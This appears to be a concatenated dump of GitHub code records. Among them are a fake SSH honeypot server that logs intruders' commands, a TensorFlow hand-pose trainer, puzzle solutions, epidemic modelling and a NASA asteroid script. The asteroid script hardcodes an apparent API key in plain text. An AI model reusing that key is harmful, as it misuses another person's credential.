self.event.set()\n return True\n\n def check_channel_pty_request(self, channel, term, width, height, pixelwidth, pixelheight, modes):\n return True\n\n\ndef handle_connection(client, addr):\n \"\"\"Handle a new ssh connection\"\"\"\n LOG.write(\"\\n\\nConnection from: \" + addr[0] + \"\\n\")\n print('Got a connection!')\n try:\n transport = paramiko.Transport(client)\n transport.add_server_key(HOST_KEY)\n # Change banner to appear legit on nmap (or other network) scans\n transport.local_version = SSH_BANNER\n server = FakeSshServer()\n try:\n transport.start_server(server=server)\n except paramiko.SSHException:\n print('*** SSH negotiation failed.')\n raise Exception(\"SSH negotiation failed\")\n # wait for auth\n chan = transport.accept(20)\n if chan is None:\n print('*** No channel.')\n raise Exception(\"No channel\")\n\n server.event.wait(10)\n if not server.event.is_set():\n print('*** Client never asked for a shell.')\n raise Exception(\"No shell request\")\n\n try:\n chan.send(\"Welcome to the my control server\\r\\n\\r\\n\")\n run = True\n while run:\n chan.send(\"$ \")\n command = \"\"\n while not command.endswith(\"\\r\"):\n transport = chan.recv(1024)\n # Echo input to psuedo-simulate a basic terminal\n chan.send(transport)\n command += transport.decode(\"utf-8\")\n\n chan.send(\"\\r\\n\")\n command = command.rstrip()\n LOG.write(\"$ \" + command + \"\\n\")\n print(command)\n if command == \"exit\":\n run = False\n else:\n handle_cmd(command, chan)\n\n except Exception as err:\n print('!!! Exception: {}: {}'.format(err.__class__, err))\n traceback.print_exc()\n try:\n transport.close()\n except Exception:\n pass\n\n chan.close()\n\n except Exception as err:\n print('!!! Exception: {}: {}'.format(err.__class__, err))\n traceback.print_exc()\n try:\n transport.close()\n except Exception:\n pass\n\n\ndef start_server(port, bind):\n \"\"\"Init and run the ssh server\"\"\"\n try:\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n sock.bind((bind, port))\n except Exception as err:\n print('*** Bind failed: {}'.format(err))\n traceback.print_exc()\n sys.exit(1)\n\n threads = []\n while True:\n try:\n sock.listen(100)\n print('Listening for connection ...')\n client, addr = sock.accept()\n except Exception as err:\n print('*** Listen/accept failed: {}'.format(err))\n traceback.print_exc()\n new_thread = threading.Thread(target=handle_connection, args=(client, addr))\n new_thread.start()\n threads.append(new_thread)\n\n for thread in threads:\n thread.join()\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description='Run a fake ssh server')\n parser.add_argument(\"--port\", \"-p\", help=\"The port to bind the ssh server to (default 22)\", default=22, type=int, action=\"store\")\n parser.add_argument(\"--bind\", \"-b\", help=\"The address to bind the ssh server to\", default=\"\", type=str, action=\"store\")\n args = parser.parse_args()\n start_server(args.port, args.bind)\n","repo_name":"cheeseandcereal/fake-ssh","sub_path":"fake_ssh.py","file_name":"fake_ssh.py","file_ext":"py","file_size_in_byte":6242,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"37"} +{"seq_id":"21005793868","text":"# -*- coding: utf-8 -*-\nimport datetime\nimport tensorflow as tf\nimport os\nimport platform\nimport time\nimport numpy as np\nimport configparser\n\nfrom tqdm import tqdm\n\n# from dataset_interface.RHD import RHD\nfrom data.BinaryDbReader import BinaryDbReader\n# from dataset_interface.dataset_prepare import CocoPose\n# from src.networks import get_network\nimport matplotlib.pyplot as plt\nfrom utils.general import NetworkOps\n# from src import network_mv2_hourglass\nfrom mpl_toolkits.mplot3d import Axes3D\nos.environ['CUDA_VISIBLE_DEVICES'] = \"0\"\nops = NetworkOps\ndef upsample(inputs, factor, name):\n return tf.image.resize_bilinear(inputs, [int(inputs.get_shape()[1]) * factor, int(inputs.get_shape()[2]) * factor],\n name=name)\ndef get_loss_and_output(scoremap, pose):\n # 叠加在batch上重用特征提取网络\n keypoints_scoremap = scoremap\n train=True\n bottleneck=False\n num_kp = 32\n \"\"\" Inference of canonical coordinates. \"\"\"\n with tf.variable_scope('PosePrior'):\n # use encoding to detect relative, normed 3d coords\n x = keypoints_scoremap # this is 28x28x21\n s = x.get_shape().as_list()\n out_chan_list = [32, 64, 128]\n for i, out_chan in enumerate(out_chan_list):\n x = ops.conv_relu(x, 'conv_pose_%d_1' % i, kernel_size=3, stride=1, out_chan=out_chan, trainable=train)\n x = ops.conv_relu(x, 'conv_pose_%d_2' % i, kernel_size=3, stride=2, out_chan=out_chan, trainable=train) # in the end this will be 4x4xC\n\n # Estimate relative 3D coordinates\n out_chan_list = [512, 512]\n x = tf.reshape(x, [s[0], -1])\n\n for i, out_chan in enumerate(out_chan_list):\n x = ops.fully_connected_relu(x, 'fc_rel%d' % i, out_chan=out_chan, trainable=train)\n if bottleneck:\n x = ops.fully_connected(x, 'fc_bottleneck', out_chan=30)\n coord_xyz_rel = ops.fully_connected(x, 'fc_xyz', out_chan=num_kp*3, trainable=train)\n\n # reshape stuff\n coord_xyz_rel = tf.reshape(coord_xyz_rel, [s[0], num_kp, 3])\n per_graph_errors_per = tf.square(tf.cast(coord_xyz_rel, tf.float32) - tf.cast(pose, tf.float32))\n per_graph_errors_per = tf.reduce_mean(per_graph_errors_per, axis=-1)\n per_graph_errors_per = tf.reduce_sum(tf.reduce_mean(per_graph_errors_per, axis=0))\n\n return per_graph_errors_per, coord_xyz_rel\n\ndef average_gradients(tower_grads):\n \"\"\"\n Get gradients of all variables.\n :param tower_grads:\n :return:\n \"\"\"\n average_grads = []\n\n # get variable and gradients in differents gpus\n for grad_and_vars in zip(*tower_grads):\n # calculate the average gradient of each gpu\n grads = []\n for g, _ in grad_and_vars:\n expanded_g = tf.expand_dims(g, 0)\n grads.append(expanded_g)\n grad = tf.concat(grads, 0)\n grad = tf.reduce_mean(grad, 0)\n\n v = grad_and_vars[0][1]\n grad_and_var = (grad, v)\n average_grads.append(grad_and_var)\n return average_grads\n\ndef main(argv=None):\n # load config file and setup\n params = {}\n params['visible_devices'] = '0'\n params['modelpath'] = './data/hand_gen/rich/point/infer_z_CNN/model'\n params['logpath'] = './data/hand_gen/rich/point/infer_z_CNN/log'\n params['lr'] = '0.001'\n params['decay_rate'] = '0.95'\n os.environ['CUDA_VISIBLE_DEVICES'] = params['visible_devices']\n params['batchsize'] = 64\n params['gpus'] = 1\n params['size'] = 40\n params['num_key'] = 32\n params['max_epoch'] = 1000\n params['per_saved_model_step'] = 500\n params['per_update_tensorboard_step'] = 500\n\n if not os.path.exists(params['modelpath']):\n os.makedirs(params['modelpath'])\n if not os.path.exists(params['logpath']):\n os.makedirs(params['logpath'])\n\n gpus = 'gpus'\n\n if platform.system() == 'Darwin':\n gpus = 'cpu'\n training_name = 'infer_z_CNN'\n evaluation = tf.placeholder_with_default(True, shape=())\n with tf.Graph().as_default(), tf.device(\"/cpu:0\"):\n dataset_RHD = BinaryDbReader(batch_size=params['batchsize'],mode = 'training')\n\n global_step = tf.Variable(0, trainable=False)\n learning_rate = tf.train.exponential_decay(float(params['lr']), global_step,\n decay_steps=10000, decay_rate=float(params['decay_rate']),\n staircase=True)\n opt = tf.train.AdamOptimizer(learning_rate, epsilon=1e-8)\n tower_grads = []\n\n for i in range(params['gpus']):\n with tf.device(\"/gpu:%d\" % i):\n with tf.name_scope(\"GPU_%d\" % i):\n #input_image, keypoint_xyz, keypoint_uv, input_heat, keypoint_vis, k, num_px_left_hand, num_px_right_hand \\\n batch_data_all = dataset_RHD.get_batch_data\n scoremap = batch_data_all[0]\n scoremap.set_shape((params['batchsize'], params['size'],params['size'], params['num_key']))\n pose = batch_data_all[1]\n pose.set_shape((params['batchsize'], params['num_key'], 3))\n loss, preheat= get_loss_and_output(scoremap, pose)\n\n grads = opt.compute_gradients(loss)\n tower_grads.append(grads)\n\n grads = average_gradients(tower_grads)\n for grad, var in grads:\n if grad is not None:\n tf.summary.histogram(\"gradients_on_average/%s\" % var.op.name, grad)\n\n apply_gradient_op = opt.apply_gradients(grads, global_step=global_step)\n for var in tf.trainable_variables():\n tf.summary.histogram(var.op.name, var)\n\n MOVING_AVERAGE_DECAY = 0.99\n variable_averages = tf.train.ExponentialMovingAverage(MOVING_AVERAGE_DECAY, global_step)\n variable_to_average = (tf.trainable_variables() + tf.moving_average_variables())\n variables_averages_op = variable_averages.apply(variable_to_average)\n\n update_ops = tf.get_collection(tf.GraphKeys.UPDATE_OPS)\n with tf.control_dependencies(update_ops):\n train_op = tf.group(apply_gradient_op, variables_averages_op)\n\n saver = tf.train.Saver(max_to_keep=10)\n\n tf.summary.scalar(\"learning_rate\", learning_rate)\n tf.summary.scalar(\"loss\", loss)\n\n init = tf.global_variables_initializer()\n config = tf.ConfigProto()\n # occupy gpu gracefully\n config.gpu_options.allow_growth = True\n with tf.Session(config=config) as sess:\n init.run()\n checkpoint_path = os.path.join(params['modelpath'], training_name)\n model_name = '/model-2000'\n if checkpoint_path:\n saver.restore(sess, checkpoint_path+model_name)\n print(\"restore from \" + checkpoint_path+model_name)\n total_step_num = 196443 * params['max_epoch'] // (params['batchsize']* 2 * params['gpus'])\n\n print(\"Start training...\")\n for step in tqdm(range(total_step_num)):\n _, loss_value = sess.run([train_op, loss])\n if step % params['per_update_tensorboard_step'] == 0:\n # [total_loss, loss_scoremap, loss_zrate, z_rate_pre]\n loss_v, preheat_v, pose_v= sess.run([loss, preheat, pose])\n preheat_v = preheat_v[0]\n pose_v = pose_v[0]\n fig = plt.figure(1)\n plt.clf()\n\n for draw_i in range(2):\n if draw_i==0:\n pose_show = preheat_v\n ax = fig.add_subplot(121, projection='3d')\n else:\n pose_show = pose_v\n ax = fig.add_subplot(122, projection='3d')\n\n ax.view_init(azim=45.0, elev=20.0) # aligns the 3d coord with the camera view\n ax.set_xlabel('x')\n ax.set_ylabel('y')\n ax.set_zlabel('z')\n ax.set_xlim((-1, 1))\n ax.set_ylim((-1, 1))\n ax.set_zlim((-1, 1))\n fig_color = ['c', 'm', 'y', 'g', 'r', 'b']\n for f in range(6):\n if f < 5:\n for bone in range(5):\n ax.plot([pose_show[f * 6 + bone, 0], pose_show[f * 6 + bone + 1, 0]],\n [pose_show[f * 6 + bone, 1], pose_show[f * 6 + bone + 1, 1]],\n [pose_show[f * 6 + bone, 2], pose_show[f * 6 + bone + 1, 2]], color=fig_color[f],\n linewidth=2)\n if f == 4:\n ax.plot([pose_show[f * 6 + bone + 1, 0], pose_show[30, 0]],\n [pose_show[f * 6 + bone + 1, 1], pose_show[30, 1]],\n [pose_show[f * 6 + bone + 1, 2], pose_show[30, 2]], color=fig_color[f], linewidth=2)\n else:\n ax.plot([pose_show[f * 6 + bone + 1, 0], pose_show[31, 0]],\n [pose_show[f * 6 + bone + 1, 1], pose_show[31, 1]],\n [pose_show[f * 6 + bone + 1, 2], pose_show[31, 2]], color=fig_color[f], linewidth=2)\n # ax.scatter(uvd_pt[f * 2, 0], uvd_pt[f * 2, 1], uvd_pt[f * 2, 2], s=60, c=fig_color[f])\n ax.scatter(pose_show[f * 6:(f + 1) * 6, 0], pose_show[f * 6:(f + 1) * 6, 1], pose_show[f * 6:(f + 1) * 6, 2],\n s=30, c=fig_color[f])\n\n plt.savefig(os.path.join(params['logpath']) + \"/\" + str(step).zfill(10) + \"_.png\")\n\n print(\"loss:\"+str(loss_v))\n\n # save model\n if step % params['per_saved_model_step'] == 0:\n saver.save(sess, os.path.join(checkpoint_path, 'model'), global_step=step)\n\nif __name__ == '__main__':\n tf.app.run()\n","repo_name":"Chenzhoujia/Mobile_hand_tf-gnn-samples-master","sub_path":"train_lift.py","file_name":"train_lift.py","file_ext":"py","file_size_in_byte":10228,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"73965448747","text":"'''A sentence is a list of words that are separated by a single space with no leading or trailing spaces.\n\nFor example, \"Hello World 1\", \"HELLO 0\", and \"hello world hello world 2\" are all sentences. You are given a sentence containing an integer . You want to truncate sentence such that it contains only the first for the given integer words followed by it should not contains any duplicate words and any alphanumeric characters. Return sentence after truncating it.\n\nInput Format\n\n'Hello how are are you # Contestant 6'\n\nConstraints\n\ntruncating integer should be less than the length of the spaced words in a sentence(includes alphanumeric and integer)\n\nOutput Format\n\n'Hello how are you' '''\n\ndef truncate_sentence(sentence):\n corrected_sentence = []\n for word in sentence:\n if word.isalpha() and len(corrected_sentence) < (int(sentence[-1])-1) and word not in corrected_sentence:\n corrected_sentence.append(word)\n \n return corrected_sentence\n \ngiven_sentence = input().split(' ')\nresult = truncate_sentence(given_sentence)\nprint(' '.join(result))\n ","repo_name":"anandakumar0962/Hackerrank","sub_path":"Truncate sentence.py","file_name":"Truncate sentence.py","file_ext":"py","file_size_in_byte":1129,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"34354827565","text":"from datetime import datetime\nfrom abc import ABC\n\nimport TicTacToe.config as conf\nfrom TicTacToe.environment.board import TicTacToeBoard\nfrom TicTacToe.players.basePlayers import ExperiencedPlayer, RandomPlayer\nfrom experiment import Experiment\n\n\nclass TicTacToeBaseExperiment(Experiment):\n config = conf\n\n def __init__(self):\n super(TicTacToeBaseExperiment, self).__init__()\n\n @classmethod\n def generate_supervised_training_data(cls, games, labeling_strategy):\n \"\"\"\n Generates training data by applying random moves to a board and labeling each sample with the move that :param labeling_strategy would have taken given the board.\n\n :param games: The number of games to be simulated\n :param labeling_strategy: The strategy used to label each sample. The label equals labeling_strategy.get_move(board)\n :return: a list of tuples(board_sample, move_label)\n \"\"\"\n\n labeling_strategy.color = cls.config.BLACK\n\n generator = RandomPlayer()\n color_iterator = TicTacToeBaseExperiment.AlternatingColorIterator()\n\n start = datetime.now()\n training_set = []\n for game in range(games):\n board = TicTacToeBoard()\n for i in range(9):\n # generate training pair\n expert_move = labeling_strategy.get_move(board)\n training_set.append((board.copy(), expert_move))\n\n # prepare for next sample\n move = generator.get_move(board)\n board.apply_move(move, color_iterator.__next__())\n\n print(\"Generated %s training pairs form %s games in %s\" % (len(training_set), games, datetime.now() - start))\n return training_set\n","repo_name":"masus04/Deep-Reinforcement-Learning-for-Boardgames","sub_path":"TicTacToe/experiments/ticTacToeBaseExperiment.py","file_name":"ticTacToeBaseExperiment.py","file_ext":"py","file_size_in_byte":1720,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"37"} +{"seq_id":"16557623323","text":"import numpy as np\nimport pandas as pd\nfrom scipy.stats import gamma\n\ndef compare_dates(date1, date2):\n '''\n Dtermine whether date1 is before date2, return True is date1 is before date2, False if not.\n date format: [year, month, day]\n '''\n for i1, i2 in zip(date1, date2):\n i = i1 - i2\n if i > 0:\n return False\n elif i < 0:\n return True\n return False\n\n\ndef parse_date_numeric(date: str):\n month, day, year = [int(i) for i in date.split(r\"/\")]\n return [year, month, day]\n\n\nclass H1N1:\n def __init__(\n self,\n shape=16, # shape of the incubation period distribution (gamma)\n scale=0.125, # scale of the incubation period distribution (gamma)\n tau=6, # truncation bound of the incubation period distribution\n xlsx_file=\"./code/data/H1N1.xlsx\" #xlsx file of the daily cases\n ):\n self.shape = shape\n self.scale = scale\n self.tau = tau\n self.xlsx_file = xlsx_file\n self.dates = np.array([])\n self.C = np.array([])\n self.I = np.array([])\n self.data = pd.DataFrame()\n self.data_seg = np.array([])\n\n def _parse_date(self, date):\n '''\n returns formatted date\n Example: date: 15th May 2009\n return: May 15\n '''\n day, month, year = date.split(\" \")\n day = day[:-2]\n return f\"{month} {day}\"\n\n def _compute_serial_interval(self):\n si = [2.24, 2.85, 9.31, 49.83, 64.49, 49.07, 23.76, 7.07, 1.51]\n scale = (1.37 / 10.92 * 0.05 + 0.3) / 64.49\n self.beta = scale * np.array(si)\n # no return\n \n def _compute_time_delay(self):\n N = self.C.shape[0]\n H = np.zeros((N, N))\n psf = [gamma.pdf(i+1, a=self.shape, scale=self.scale) for i in range(self.tau)]\n psf = 1 / np.sum(psf) * np.array(psf)\n for i in range(N):\n if i+self.tau > N:\n temp = N\n else:\n temp = i+self.tau\n for j in range(i, temp):\n H[i, j] = psf[j-i]\n self.H = H\n # no return\n \n def load_data(self, n_padding=0):\n '''\n load data from outbreak\n n_padding: number of days of padding on the left with zero \n '''\n data = pd.read_excel(self.xlsx_file)\n parsed_dates = [self._parse_date(date) for date in data[\"Date\"]]\n data[\"Formatted date\"] = parsed_dates\n\n day = int(parsed_dates[0].split(\" \")[-1])\n if n_padding > day:\n raise ValueError(f\"n_padding too large. Please keep the date in April by setting n_padding less than {day}\")\n\n padding_dates = [f\"April {day-i}\" for i in range(n_padding, 0, -1)]\n\n self.C = np.concatenate([np.zeros((n_padding,)), data[\"Number of cases\"]])\n self.dates = np.concatenate([padding_dates, parsed_dates])\n\n self._compute_serial_interval()\n self._compute_time_delay()\n\n # reconstruction of incidence sequence\n self.I = np.dot(self.H, self.C).astype(int)\n\n # prepare date segments for low-level model parameters estimation \n n = len(self.beta)\n data_seg = np.empty((len(self.I)-n+1, n))\n for i in range(data_seg.shape[0]):\n data_seg[i, :] = self.I[i:i+n][::-1]\n self.dates = self.dates[n-1:]\n self.I = self.I[n-1:]\n self.C = self.C[n-1:]\n self.data_seg = data_seg\n\n\ndef main():\n pass\n\n\nif __name__ == \"__main__\":\n main()\n\n","repo_name":"QQQQ00243/Bayesian-Pandemic","sub_path":"H1N1/utils/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":3507,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"25067204450","text":"from fractions import *\nfrom eulertools import primes\n\ndef legendre(p, n):\n if n == 0:\n return 0\n count = 0\n power = p\n while power <= n:\n count += (n//power)\n power *= p\n return count\n\ndef all_pfs(n, ps):\n for p in ps:\n while n % p == 0:\n n //= p\n return n == 1\n\n\ndef check(f, ps):\n num = f.numerator\n den = f.denominator\n return all_pfs(num, ps) and all_pfs(den, ps)\n\ndef C(facs):\n d = {Fraction(1): 1}\n m = max(facs.values())\n prime_list = primes(m+1)\n ps = sorted(facs.keys(), key=lambda x: -facs[x])\n for i in range(len(ps)):\n p = ps[i]\n k = facs[p]\n new_d = {}\n for j in range(k+1):\n for f in d:\n new_f = f*Fraction(j+1, k-j+1)\n if new_f in new_d:\n new_d[new_f] += d[f]\n else:\n new_d[new_f] = d[f]\n if i + 1 < len(ps):\n l = [p for p in prime_list if p <= facs[ps[i+1]]+1]\n d = {f: new_d[f] for f in new_d if check(f, l)}\n else:\n d = {f: new_d[f] for f in new_d}\n return d[Fraction(1)]//2\n\nfacs = {p: legendre(p, 100) for p in primes(100)}\nprint(C(facs))","repo_name":"arnet95/Project-Euler","sub_path":"euler598.py","file_name":"euler598.py","file_ext":"py","file_size_in_byte":1215,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"34664462552","text":"import requests\nimport json\nimport datetime\nimport random\n\napi_url = \"https://api.nasa.gov/neo/rest/v1/feed/today?detailed=true&api_key=\"\napiKey = \"13L6o25sYaUm7Ac1Op2e09FrWudmH6N0rRhVBoCx\"\n\n\nresponse = requests.get(api_url + apiKey)\ndata = response.text\nparsed = json.loads(data)\n\n # Set variables based on data\n\n# Sets a variable to dynamically pull today's date and then turns it into a string\n\ntodays_date = str(datetime.date.today())\n\n# Sets \"neos\" as a variable which is the entirety of the API data along with some other global variables\n\nneos = parsed[\"near_earth_objects\"][todays_date]\ntotal_neos_today = parsed[\"element_count\"]\nlength_of_armadillo = 1.5\nlength_of_delorean = 4.2\ni = random.randint(1,8)\n\n # Functions\n\n\ndef get_total_phas(neos):\n total_phas = 0\n for pha in neos:\n if pha[\"is_potentially_hazardous_asteroid\"] is True:\n total_phas = total_phas + 1\n pass\n return(total_phas)\n\ndef get_largest_neo(neos):\n largest = None\n for diameter in neos:\n max_diameter = round(diameter[\"estimated_diameter\"][\"meters\"][\"estimated_diameter_max\"])\n if largest is None:\n largest = max_diameter \n if largest > max_diameter:\n pass\n else:\n largest = max_diameter\n name = diameter[\"name\"]\n return(largest, name)\n\n\ndef get_smallest_neo(neos):\n smallest = None\n for diameter in neos:\n min_diameter = round(diameter[\"estimated_diameter\"][\"meters\"][\"estimated_diameter_min\"])\n if smallest is None:\n smallest = min_diameter\n if smallest < min_diameter:\n pass\n else:\n smallest = min_diameter\n name = diameter[\"name\"]\n return(smallest, name)\n\n# Function to get the closest NEO\n\ndef get_closest_neo(neos):\n miss_distance = None\n for close in neos:\n look_out = close[\"close_approach_data\"][0][\"miss_distance\"][\"lunar\"]\n look_out = float(look_out)\n if miss_distance is None:\n miss_distance = look_out\n if miss_distance < look_out:\n pass\n else:\n miss_distance = look_out\n name = close[\"name\"]\n return(round(miss_distance, 2), name)\n\n# Declare variables for comparitive units of measure and do the math\n\nlargest_diameter_in_armadillos = round(get_largest_neo(neos)[0] / length_of_armadillo)\nlargest_diameter_in_deloreans = round(get_largest_neo(neos)[0] / length_of_delorean)\nsmallest_diameter_in_armadillos = round(get_smallest_neo(neos)[0] / length_of_armadillo)\nsmallest_diameter_in_deloreans = round(get_smallest_neo(neos)[0] / length_of_delorean)\n\n# Function to get the fastest NEO\n\ndef get_fastest_neo(neos):\n velocity = None\n for speed in neos:\n km_per_second = speed[\"close_approach_data\"][0][\"relative_velocity\"][\"kilometers_per_second\"]\n km_per_second = float(km_per_second)\n if velocity is None:\n velocity = km_per_second\n if velocity > km_per_second:\n pass\n else:\n velocity = km_per_second\n name = speed[\"name\"]\n return(round(velocity), name)\n\n# Function to generate a random mild insult to insert in the greeting\n\ndef generate_random_insult(i):\n if i == 1:\n insult = \"worry wart\"\n elif i == 2:\n insult = \"high level hypochondriac\"\n elif i == 3:\n insult = \"inquisitive interstellar instigator\"\n elif i == 4:\n insult = \"celestial conjurer of ceaseless candor\"\n elif i == 5:\n insult = \"laser-brained luddite\"\n elif i == 6:\n insult = \"flaky Firefly fiend\"\n elif i == 7:\n insult = \"genuine gentleperson\"\n elif i == 8:\n insult = \"spacey spheroid spelunker\"\n return(insult)\n\n# Function to get the user's chosen NEO\n\ndef which_neo(x): \n if x.lower() == \"fastest\":\n this_neo = \"\\n{} is the fastest NEO today, racing towards somewhere at a speed of {} kilometers per second.\".format(get_fastest_neo(neos)[1], get_fastest_neo(neos)[0])\n elif x.lower() == \"largest\":\n this_neo = \"\\n{} is the largest NEO today at a whopping {} meters in diameter! \\nThat means it's {} armadillos OR {} Deloreans in diameter!\".format(get_largest_neo(neos)[1], get_largest_neo(neos)[0], largest_diameter_in_armadillos, largest_diameter_in_deloreans)\n elif x.lower() == \"smallest\":\n this_neo = \"\\n{} is the smallest NEO today. It checks in at a paultry {} meters in diameter. \\nThat means it's only {} armadillos OR {} Deloreans in diameter!\".format(get_smallest_neo(neos)[1], get_smallest_neo(neos)[0], smallest_diameter_in_armadillos, smallest_diameter_in_deloreans)\n elif x.lower() == \"closest\":\n this_neo = \"\\n{} is making the closest approach today. \\nIt's going to miss us by a mere {} times the distance between Earth and the moon. No sweat, right?\".format(get_closest_neo(neos)[1], get_closest_neo(neos)[0])\n elif x.lower() == \"the matrix\":\n print(\"\\nYou should have taken the blue pill.\")\n x = input(\"Try fastest, closest, largest, or smallest.\\n\\t> \")\n return which_neo(x)\n elif x.lower() == \"help\":\n print(\"\\nfor script in headaches \\nsanity = absent \\nreturn my_marbles\")\n x = input(\"Try fastest, closest, largest, or smallest.\\n\\t> \")\n return which_neo(x)\n elif x.lower() == \"morpheus\":\n print(\"\\nThe Oracle told me... \\nI would find The One.\")\n x = input(\"Try fastest, closest, largest, or smallest.\\n\\t> \")\n return which_neo(x)\n elif x.lower() == \"trinity\":\n print(\"\\nNeo, I'm not afraid anymore. The Oracle told me that I would fall in love and that that man... \\nthe man that I loved would be The One. So you see, you can't be dead. \\nYou can't be... because I love you. You hear me? I love you. \\nNow get up.\")\n x = input(\"Try fastest, closest, largest, or smallest.\\n\\t> \")\n return which_neo(x)\n else:\n print(\"\\nOkay, you silly trickster. You and both know that {} is not any of the things I said you could ask for. \\nHow's about we try that again?\".format(x))\n x = input(\"Try fastest, closest, largest, or smallest.\\n\\t> \")\n return which_neo(x)\n return this_neo\n\n# Function to check if the user wants more info on other NEOs\n\ndef all_done():\n finished = input(\"\\nListen to me, Coppertop. We don't have time for 20 Questions. \\nDid you want to know anything else today? (Yes/No): \")\n if finished.lower() == \"yes\":\n main()\n elif finished.lower() == \"help\":\n print(\"\\nfor script in headaches \\nsanity = absent \\nreturn my_marbles\")\n print(\"\\nTry yes or no this time, would ya? \")\n all_done() \n elif finished.lower() == \"no\":\n print(\"\\nOkay then. \\nThe answer is out there, and it's looking for you, and it will find you if you want it to. \\nJust follow the white rabbit. \\nCome back anytime!\")\n else:\n print(\"\\nUmmm...it was a yes or no question friend. \\nLast time I checked, {} is not yes OR no. Let's try it again, shall we?\".format(finished))\n all_done()\n\n# Function to initiate the greeting\n\ndef greeting_message():\n print(\"Well hello you {}! Since you asked, there are {} Near Earth Objects on close approach today.\".format(generate_random_insult(i), total_neos_today)) \n if get_total_phas(neos) == 0:\n print(\"\\nNever fear, though, none of them are potentially hazardous. It's smooth sailing for planet Earth today.\")\n elif get_total_phas(neos) == 1:\n print(\"\\nOn the bright side, only {} of them has the potential to destroy the planet, so we're...wait.. \\n{} of them could potentially destroy the planet?!!? \\nEverbody run for your lives!!!\".format(get_total_phas(neos), get_total_phas(neos))) \n else:\n print(\"Well hello you {}! Since you asked, there are {} Near Earth Objects on close approach today. \\nNever fear, though, only {} of them are potentially hazardous. Wait, {} of them are potentially hazardous?!!? \\nEverybody run for your lives!!!! \".format(generate_random_insult(i), total_neos_today, get_total_phas(neos), get_total_phas(neos)))\n print(\"\\nWell, since we're here anyway...\")\n\n# Main function\n\ndef main(): \n x = input(\"\\nDo you want to know more about the fastest, closest, largest, or smallest world ending near Earth object?\\n\\t> \")\n this_asteroid = which_neo(x)\n print(this_asteroid)\n return all_done()\n\n\n# Call the greeting and main functions\n\ngreeting_message()\nmain()","repo_name":"andrheau/nasaNEO","sub_path":"app/experimentalasteroid.py","file_name":"experimentalasteroid.py","file_ext":"py","file_size_in_byte":8438,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"74007915946","text":"\"\"\"\nauthor: buppter\ndatetime: 2019/8/25 14:32\n\"\"\"\n\n\nclass KMP:\n\n def gen_pnext(self, p):\n \"\"\"\n 生成 pnext 表\n :param p: str 需要匹配的字符串\n :return: list pnext 表\n \"\"\"\n if not p:\n return []\n lens = len(p)\n pnext = [float('inf')] * lens\n pnext[0] = 0\n k = 0\n i = 1\n while i < lens:\n if p[i] == p[k]:\n k += 1\n pnext[i] = k\n i += 1\n else:\n if k > 0:\n k = pnext[k - 1]\n else:\n pnext[i] = k\n i += 1\n pnext = self.move_pnext(pnext)\n return pnext\n\n def move_pnext(self, pnext):\n \"\"\"\n 将 pnext 进行移动,第 0 位表示为 -1\n :param pnext: list pnext 表\n :return: list 调整顺序后的 pnext 表\n \"\"\"\n for i in range(len(pnext) - 1, 0, -1):\n pnext[i] = pnext[i - 1]\n pnext[0] = -1\n return pnext\n\n def kmp_search(self, text, pattern):\n \"\"\"\n :param text: str 主字符串\n :param pattern: str 所需要匹配到的字符串\n :return: list(int) 主字符串的下标,如果匹配不到则返回 -1\n \"\"\"\n if not text or not pattern or len(pattern) > len(text):\n return -1\n\n pnext = self.gen_pnext(pattern)\n\n t_len = len(text)\n p_len = len(pattern)\n i, j = 0, 0\n res = []\n while i < t_len:\n if j == p_len - 1 and text[i] == pattern[j]:\n res.append(i - j)\n j = pnext[j]\n\n if text[i] == pattern[j]:\n i += 1\n j += 1\n else:\n j = pnext[j]\n if j == -1:\n j += 1\n i += 1\n\n return res if res else -1\n\n\nif __name__ == '__main__':\n k = KMP()\n res = k.kmp_search(\"ABABABABCABAABABCABAA\", \"ABABCABAA\")\n print(res)\n","repo_name":"buppter/algorithms","sub_path":"KMP.py","file_name":"KMP.py","file_ext":"py","file_size_in_byte":2025,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"37"} +{"seq_id":"37267895661","text":"from Freestyle import *\nfrom logical_operators import *\nfrom PredicatesB1D import *\nfrom PredicatesU1D import *\nfrom shaders import *\nupred = AndUP1D(QuantitativeInvisibilityUP1D(0), ContourUP1D())\nbpred = SameShapeIdBP1D()\nOperators.select(upred)\nOperators.bidirectionalChain(ChainPredicateIterator(upred,bpred))\nOperators.select(pyHigherLengthUP1D(200))\nshaders_list = [\n\t\tpyBluePrintDirectedSquaresShader(4, 20, 1.4),\n\t\tpyPerlinNoise1DShader(0.08, 15, 8),\n\t\tTextureAssignerShader(4),\n\t\tIncreasingColorShader(0.3, 0.3, 0.3, 0.1, 0.3, 0.4, 0.4, 0.02)\n ]\nOperators.create(TrueUP1D(), shaders_list)\n","repo_name":"benardp/contours","sub_path":"scripts/freestyle/style_modules/blueprint_directed_squares.py","file_name":"blueprint_directed_squares.py","file_ext":"py","file_size_in_byte":612,"program_lang":"python","lang":"en","doc_type":"code","stars":51,"dataset":"github-code","pt":"37"} +{"seq_id":"8396620781","text":"import json\nimport os\nimport re\nimport subprocess\nimport sys\nfrom typing import List, Optional, Set\n\nFAILED_PACKAGES_PREFIX = \"ERROR: Failed to install: \"\nFAILED_PACKAGES_POSTFIX = \". During automated build process.\"\nONLY_INCLUDE = {x for x in os.getenv(\"WANDB_ONLY_INCLUDE\", \"\").split(\",\") if x != \"\"}\nOPTS = []\n# If the builder doesn't support buildx no need to use the cache\nif os.getenv(\"WANDB_DISABLE_CACHE\"):\n OPTS.append(\"--no-cache-dir\")\n# When installing all packages from requirements.frozen.txt no need to resolve deps\nif len(ONLY_INCLUDE) == 0:\n OPTS.append(\"--no-deps\")\n# When installing the intersection of requirements.frozen.txt and 